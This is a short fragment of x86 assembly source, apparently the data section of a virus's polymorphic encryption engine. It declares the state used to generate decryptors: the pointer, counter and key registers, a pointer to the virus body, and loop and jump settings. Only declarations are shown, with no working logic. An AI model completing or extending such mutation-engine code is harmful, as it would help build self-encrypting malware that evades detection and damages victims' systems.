_mem_space = (offset _mem_data_end - offset _mem_data_start)
_mem_data_start:
t_inipnt dd 00h ; initial EDI
r_pointer db 00h ; register used as pointer
r_counter db 00h ; register used as counter
r_regkey db 00h ; register used as key, 20h use
; immediate as key
r_used db 00000000b
; bits meaning 0 0 0 1 0 0 0 0
; E E E E E E E E
; D S B S B D C A
; I I P P X X X X
t_chgpnt db 00h ; changes to be made to pointer
t_chgcnt db 00h ; changes to be made to counter
t_chgkey db 00h ; changes to be made to key register
t_chgmat db 00h ; changes to be made to operation
t_pntoff dd 00h ; offset added to pointer (00h if not
; added)
t_cntoff dd 00h ; constant to be added to counter
; value
t_fromend db 00h ; 00h from start, else from end
t_countback db 00h ; 00h decrementing, else incrementing
t_pushed db 00h ; pushed dwords
t_maxjmps db 00h ; max jumps
t_inacall db 00h ; into a call or not
db 00h ; just to optimize poly size :)
v_lenght dd 00h ; lenght
v_virusp dd 00h ; pointer to body
v_runnin dd 00h ; offset at which dec will run
w_counter dd 00h ; where counter is assigned - 1
w_pointer dd 00h ; where pointer is assigned - 1
w_loopbg dd 00h ; where loop begins
w_encrypt dd 00h ; pointer on current pos in encryptor
_mem_data_end: